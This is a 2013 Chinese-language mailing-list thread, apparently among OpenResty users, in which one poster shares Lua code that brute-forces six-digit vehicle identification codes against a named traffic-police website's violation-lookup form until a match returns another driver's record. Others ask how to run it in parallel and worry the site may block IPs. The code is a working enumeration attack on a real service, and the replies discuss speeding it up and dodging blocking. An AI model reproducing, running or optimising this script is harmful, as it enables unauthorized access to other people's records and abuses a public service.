如何并行?
2013/12/3 lhmwzy <lh...@gmail.com>:
> 只能生试了。。
>
> 2013/12/3 Lance <lance...@gmail.com>:
>> 生试啊...... 只能并行试吧,不知道对面有没有封ip的机制
>>
>> Lance
>>
>>
>> On Tue, Dec 3, 2013 at 1:28 PM, lhmwzy <lh...@gmail.com> wrote:
>>>
>>> 有如下代码:
>>>
>>> local http = require "resty.http"
>>> local hc=http:new()
>>> local m=0
>>> local args = ngx.req.get_post_args()
>>> local hphm=args.hphm
>>> hphm=string.upper(hphm)
>>> for i=1000,999999 do
>>> local m= string.format("%06d",i)
>>> local ok,code,headers,status,body=hc:request({
>>> url="http://www.dygajj.gov.cn:9080/wscgsxxcx/jdcwfcx.do",
>>> method="POST",
>>> headers = { ["Content-Type"] = "application/x-www-form-urlencoded" },
>>> body="fzjg=E&hphm="..hphm.."&hpzl=02&type=wfcx&clsbdh="..m,
>>> })
>>> local ma,err=ngx.re.match(body,'(.*)<input type="hidden" name="state"
>>> value="输入的车辆识别代号不正确>,请重新输入">(.*)',
>>> if not ma then
>>> body = ngx.re.gsub(body,'(.*?)<img src="(.*?)"
>>> width=".*>(.*?)',"$1$3","mj");
>>> body = ngx.re.gsub(body,'(.*?)<img border="0" src="(.*?)"
>>> width=".*>(.*?)',"$1$3","mj");
>>> body = ngx.re.gsub(body,'(.*?) background="(.*?)" (.*?)',"$1 $3","mj");
>>> ngx.say(body)
>>> ngx.say(m)
>>> ngx.exit(ngx.HTTP_OK)
>>> end
>>> end
>>>
>>>
>>>
>>> 如何提高效率?
>>>
>>> --
>>> --
>>